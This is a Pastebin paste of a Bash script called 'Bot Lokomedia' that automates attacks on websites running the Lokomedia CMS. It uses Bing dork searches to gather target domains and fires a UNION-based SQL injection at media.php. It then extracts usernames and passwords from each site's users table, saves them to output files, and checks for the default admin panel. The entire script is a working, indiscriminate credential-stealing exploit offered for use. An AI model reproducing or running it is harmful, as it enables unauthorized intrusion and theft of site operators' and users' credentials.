Advertisement
shutdown57

Bot Lokomedia

Jul 1st, 2017
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.96 KB | None | 0 0
  1. #!/bin/bash
  2. # c0ded by : shutdown57
  3. # powered by www.alinko.jp
  4.  
  5. # COLOR | WARNA
  6. m="\e[0;31m" # merah
  7. k="\e[0;33m" # kuning
  8. h="\e[0;32m" # hijau
  9. b="\e[0;34m" # biru
  10. lm="\e[1;31m" # merah terang
  11. lk="\e[1;33m" # kuning terang
  12. lh="\e[1;32m" # hijau terang
  13. lb="\e[1;34m" # biru terang seterang masa depan kita.
  14. n="\e[0m" # clear / netral
  15. w="\e[1;37m" # putih tebal
  16.  
  17.  
  18. xSimpanPacar(){
  19.     touch $2
  20.     chmod 777 $2
  21.     echo $1 >> $2
  22. }
  23. xSimpanan(){
  24.     mkdir OutputxS57 > /dev/null 2>&1
  25.     chmod 777 OutputxS57
  26.     touch OutputxS57/readme.txt
  27.     echo "-[ shutdown57 ]-" > OutputxS57/readme.txt
  28.     local uvuv=$(date +"%H%m%s")
  29.     local name="OutputxS57/$uvuv-$1.txt"
  30.     touch $name
  31.     echo "+-[ INFO ]-+" >> $name
  32.     echo "Site : $1 " >> $name
  33.     echo $2 >> $name
  34.     echo "+-[ END  ]-+" >> $name
  35.     local cekfile=$(cat $name)
  36.     if [[ -f $name && $cekfile != "" ]]; then
  37.         xS57s " Result saved to : $name !"
  38.     else
  39.         xS57f " Failed Save Result :("
  40.         echo $2
  41.         echo "-----------------------"
  42.     fi
  43. }
  44. bingDork(){
  45.     local curl=`curl "http://www.bing.com/search?q=${2}&first=${1}1" -s`
  46.     local gets=$(echo $curl | grep -Po "(?<=<h2><a href=\")[^\"]*")
  47.     xS57i "-[ INFO ]-"
  48.     xS57i "Dork : "$2
  49.     xS57i "Page : "$1
  50.     xS57i "R u n n i n g . . . ."
  51.     for geturl in $gets
  52.     do
  53.         IFS="/" read -r -a url <<< "$geturl"
  54.         xS57s ${url[2]}
  55.         xSimpanPacar ${url[2]} $3
  56.     done
  57. }
  58. FindAdminLokmed(){
  59.     local adminpage="adminweb/"
  60.     local ceklo=$(curl -s --connect-timeout 10 ${1}/$adminpage -D -)
  61.     if [[ $ceklo =~ "200 OK" ]]; then
  62.         xS57s "Found Default Adminpage : ${1}/$adminpage !"
  63.     else
  64.         xS57d "Not Found Default Adminpage :( ."
  65.     fi
  66. }
  67. ExploitX(){
  68.     injectable="/media.php?module=detailberita&id=.169+'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x23,username,0x3a574f533a,password,0x3c62723e)),@)--+"
  69.     buaturi="${1}/${injectable}"
  70.     cekhead=$(curl -s $buaturi --head)
  71.     xS57i "I n j e c t i n g . . ."
  72.     if [[ $cekhead =~ "200" ]]; then
  73.         curl -s $buaturi | grep "WOS" > /dev/null 2>&1
  74.         if [[ $? -eq 0 ]]; then
  75.             xS57s "${1} -> INJECTED !"
  76.             up=$(curl -s "${buaturi}" | grep -Po "(\#.*:WOS:.*\#)" | sed -e 's/:WOS:/Username:Password/g')
  77.             xS57i "Getting Username & Password . . ."
  78.             xSimpanan $1 $up
  79.             xSimpanPacar $buaturi "result.txt"
  80.             xS57i "Trying Find Default adminpage . . ."
  81.             FindAdminLokmed $1
  82.         else
  83.             xS57d "${buaturi} -> FAILED"
  84.         fi
  85.     else
  86.         xS57f "${1} -> ERROR ! | Detected WAF"
  87.     fi
  88. }
  89. xS57i(){
  90.     echo -e "${lb}[i] ${n} ${1}"
  91. }
  92. xS57t(){
  93.     echo -e -n "${h}[?] ${n} ${1}"
  94.     read $2
  95. }
  96. xS57f(){
  97.     echo -e "${lm}[!] ${n} ${1}"
  98. }
  99. xS57d(){
  100.     echo -e "${k}[!] ${n} ${1}"
  101. }
  102. xS57s(){
  103.     echo -e "${lh}[+] ${n} ${1} "
  104. }
  105. InjectLokmed(){
  106.     listsite=`cat $1`
  107.     site=$(echo $listsite | tr "\n" "\n")
  108.     for si in $site
  109.     do
  110.         xS57i "Checking ${si}/media.php?module=home for Exploit ..."
  111.         local cek=$(curl -s --connect-timeout 10 ${si}/media.php?module=home -D -)
  112.         if [[ $cek =~ "HTTP/1.1 200 OK" ]]; then
  113.             xS57s "${si}/media.php?module=home -> 200 OK !"
  114.             ExploitX $si
  115.         else
  116.             xS57d "${si}/media.php?module=home -> Not Vuln !"
  117.         fi
  118.     done
  119. }
  120.  
  121. BannerxS57(){
  122.     clear
  123. printf "${lk}                              
  124.                                          ${lh}  *${lk}
  125.                                          ${lh} * *${lk}      
  126.     _       _     _               ___ ___${lh}* * *${lk}
  127. ___| |_ _ _| |_ _| |___ _ _ _ ___|  _|_  |${n} |${lk}
  128. |_ -|   | | |  _| . | . | | | |   |_  | | |${n} |${lk}
  129. |___|_|_|___|_| |___|___|_____|_|_|___| |_|${n} |${lh}
  130. x-------------------------------------------X${n}
  131. X${lb} Bot Lokomedia xXx copyright (c) 2017${n} XxXx
  132.  x-|${lm} powered by${w} www.alinko.jp ${n}|----------X
  133. "
  134. }
  135. if [[ $1 == "" && $2 == "" && $3 == "" ]]; then
  136.     BannerxS57
  137.     printf "
  138. Cara Menggunakan :
  139.  $0 <dork> <NumPage> <SaveAs>
  140. Contoh Penggunaan :
  141.  $0 'semua-berita.html' '10' 'result.txt'
  142.  
  143. "
  144. else
  145.     BannerxS57
  146.     for (( i = 0; i < $2; i++ )); do
  147.         bingDork $i $1 $3 | tee -a BotLokomedia.log
  148.     done
  149.     InjectLokmed $3 | tee -a BotLokomedia.log
  150. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement